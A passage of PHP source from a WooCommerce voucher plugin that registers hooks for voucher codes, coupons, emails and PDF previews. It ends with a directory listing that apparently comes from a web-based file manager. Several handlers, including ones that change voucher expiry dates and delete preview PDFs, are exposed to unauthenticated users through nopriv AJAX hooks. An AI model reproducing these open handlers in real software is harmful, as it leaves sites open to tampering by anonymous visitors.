        add_filter('woocommerce_add_to_cart_validation', array($this, 'woo_vou_prevent_product_add_to_cart'), 10, 2);

// add action on place order check product is expired/upcoming in checkout page
        add_action('woocommerce_checkout_process', array($this, 'woo_vou_woocommerce_checkout_process'), 10);

//ajax pagination for used voucher codes
        add_action('wp_ajax_woo_vou_used_codes_next_page', array($this->voucher, 'woo_vou_used_voucher_codes_ajax'));
        add_action('wp_ajax_nopriv_woo_vou_used_codes_next_page', array($this->voucher, 'woo_vou_used_voucher_codes_ajax'));

//ajax pagination for purchased voucher codes
        add_action('wp_ajax_woo_vou_purchased_codes_next_page', array($this->voucher, 'woo_vou_purchased_voucher_codes_ajax'));
        add_action('wp_ajax_nopriv_woo_vou_purchased_codes_next_page', array($this->voucher, 'woo_vou_purchased_voucher_codes_ajax'));

//ajax pagination for unused voucher codes
        add_action('wp_ajax_woo_vou_unused_codes_next_page', array($this->voucher, 'woo_vou_unused_voucher_codes_ajax'));
        add_action('wp_ajax_nopriv_woo_vou_unused_codes_next_page', array($this->voucher, 'woo_vou_unused_voucher_codes_ajax'));

// add filter to remove voucher download link
        add_filter('woo_vou_remove_download_link', 'woo_vou_remove_voucher_download_link', 10, 3);

// allow to add admin email in bcc
        add_filter('woocommerce_email_headers', 'woo_vou_allow_admin_to_bcc', 10, 3);

// Add filter to validate extra fields
        add_filter('woocommerce_coupon_is_valid', 'woo_vou_validate_coupon', 10, 2);

// Add filter to add custom coupon error message
        add_filter('woocommerce_coupon_error', array($this, 'woo_vou_coupon_err_message'), 10, 3);

// Add action to generate coupon code when order status gets processing
        add_action('woocommerce_grant_product_download_permissions', 'woo_vou_generate_couponcode_from_vouchercode', 20);

// Add action to enable recipient form below add to cart button
        add_action('wp', 'woo_vou_enable_after_add_to_cart_button');

// Add action to add change used listing arguments for "Used Voucher Code" page
        add_filter('woo_vou_get_used_vou_list_args', 'woo_vou_check_vendor_author_args');

// Add action to add change used listing arguments for "Purchased Voucher Code" page
        add_filter('woo_vou_get_purchased_vou_list_args', 'woo_vou_check_vendor_author_args');

// Add action to add change used listing arguments for "Purchased Voucher Code" page
        add_filter('woo_vou_get_partial_vou_list_args', 'woo_vou_check_vendor_author_args');

// Add action to add change used listing arguments for "Expire Voucher Code" page
        add_filter('woo_vou_get_expire_vou_list_args', 'woo_vou_check_vendor_author_args');

// Add action to add change used listing arguments for "Check Voucher Code" purchased codes
        add_filter('woo_vou_get_primary_vendor_purchase_voucode_args', 'woo_vou_check_vendor_author_args');

// Add action to add change used listing arguments for "Check Voucher Code" used codes
        add_filter('woo_vou_get_primary_vendor_used_voucode_args', 'woo_vou_check_vendor_author_args');

// To make compatible with versions of 3.2.0 or greater
        if (version_compare(WOOCOMMERCE_VERSION, "3.2.0") != -1) {

// Add action to add downlodable files list in emails
            add_action('woocommerce_email_order_details', 'woo_vou_email_order_details', 5, 4);
        }

//ajax call to update voucher expiry date
        add_action('wp_ajax_woo_vou_change_voucher_expiry_date', array($this->voucher, 'woo_vou_change_voucher_expiry_date'));
        add_action('wp_ajax_nopriv_woo_vou_change_voucher_expiry_date', array($this->voucher, 'woo_vou_change_voucher_expiry_date'));

//ajax call to get voucher expiry date
        add_action('wp_ajax_woo_vou_get_voucher_expiry_date', 'woo_vou_get_voucher_expiry_date');
        add_action('wp_ajax_nopriv_woo_vou_get_voucher_expiry_date', 'woo_vou_get_voucher_expiry_date' );

// add action to get voucher details data for front end
        add_action('woo_vou_code_details_data', 'woo_vou_get_vou_details_data');

// add action to update voucher information from frontend
        add_action('init', 'woo_vou_update_voucher_information');

// add action to validate/check submitted redeem information from frontend
        add_action('wp_ajax_woo_vou_check_redeem_info', 'woo_vou_check_redeem_info');
        add_action('wp_ajax_nopriv_woo_vou_check_redeem_info', 'woo_vou_check_redeem_info');

// add action to update recipient information from frontend
        add_action('init', 'woo_vou_update_recipient_details');

// Add action to modify expiry date
        add_filter('woocommerce_coupon_get_date_expires', 'woo_vou_get_coupon_expiry_date', 10, 2);

// Add action to send gift notification email
        add_action('wp_ajax_woo_vou_resend_gift_notification_email', array($this->voucher, 'woo_vou_resend_gift_notification_email'));
        add_action('wp_ajax_nopriv_woo_vou_resend_gift_notification_email', array($this->voucher, 'woo_vou_resend_gift_notification_email'));

//Add voucher download links to my account page
        add_action('woocommerce_customer_get_downloadable_products', 'woo_vou_recipient_permission_vouchers_download_link');

// Add action to import voucher codes, once user gets registered
        add_action('user_register', 'woo_vou_created_customer');

// add action to update voucher information from frontend
        add_action('init', 'woo_vou_update_voucher_extra_note');

// Add filter to modify the recipient giftdate formatted value, which WooCommerce gets from function get_formatted_meta_data
        add_filter('woocommerce_order_item_display_meta_value', 'woo_vou_change_giftdate_formatted_metadata', 10, 3);

// Add filter to remove order downloadable items from processing/completed order mail and order thank you page.
        add_filter('woocommerce_order_get_downloadable_items', 'woo_vou_remove_order_downloadable_items', 15, 2);

// Add action to check if voucher code id exists or not
        add_action('wp', 'woo_vou_check_voucher_code_exist');

// Add action to generate popup html in footer
        add_action('wp_footer', 'woo_vou_render_preview_pdf_popup');

// Add action to generate Preview PDF
        add_action('wp_ajax_woo_vou_generate_preview_pdf', 'woo_vou_generate_preview_pdf');
        add_action('wp_ajax_nopriv_woo_vou_generate_preview_pdf', 'woo_vou_generate_preview_pdf');

// added hook to allow generate preview pdf in new tab 
        add_action('init', 'woo_vou_generate_preview_pdf');

// Add action to delete Preview PDF
        add_action('wp_ajax_woo_vou_unlink_preview_pdf', 'woo_vou_unlink_preview_pdf');
        add_action('wp_ajax_nopriv_woo_vou_unlink_preview_pdf', 'woo_vou_unlink_preview_pdf');

// filter to show download link on thank you page for voucher
        add_action('woocommerce_product_file', array( $this, 'woo_vou_dummy_download_file_for_voucher') , 10,3);

}
}

[+] ..
[+] compatibility
[-] class-woo-vou-pagination-public.php [edit]
[-] woo-vou-used-codes-export-csv.php [edit]
[-] woo-vou-uninstall.php [edit]
[-] woo-vou-shortcode-functions.php [edit]
[+] meta-boxes
[-] woo-vou-used-codes-pdf.php [edit]
[+] updater
[-] woo-vou-install.php [edit]
[-] class-woo-vou-public.php [edit]
[-] woo-vou-template-html.php [edit]
[+] templates
[+] css
[-] woo-vou-misc-functions.php [edit]
[+] fonts
[-] woo-vou-post-types.php [edit]
[-] woo-vou-cvc-functions.php [edit]
[-] woo-vou-template-functions.php [edit]
[+] js
[+] images
[+] tcpdf
[-] class-woo-vou-shortcodes.php [edit]
[-] woo-vou-template-hooks.php [edit]
[-] class-woo-vou-scripts.php [edit]
[-] wpweb-upd-functions.php [edit]
[-] class-woo-vou-model.php [edit]
[-] .includes.php [edit]
[-] class-woo-vou-template-shortcodes.php [edit]
[+] public
[-] woo-vou-pdf-process.php [edit]
[+] admin
[-] woo-vou-generate-order-pdf.php [edit]
[-] class-woo-vou-renderer.php [edit]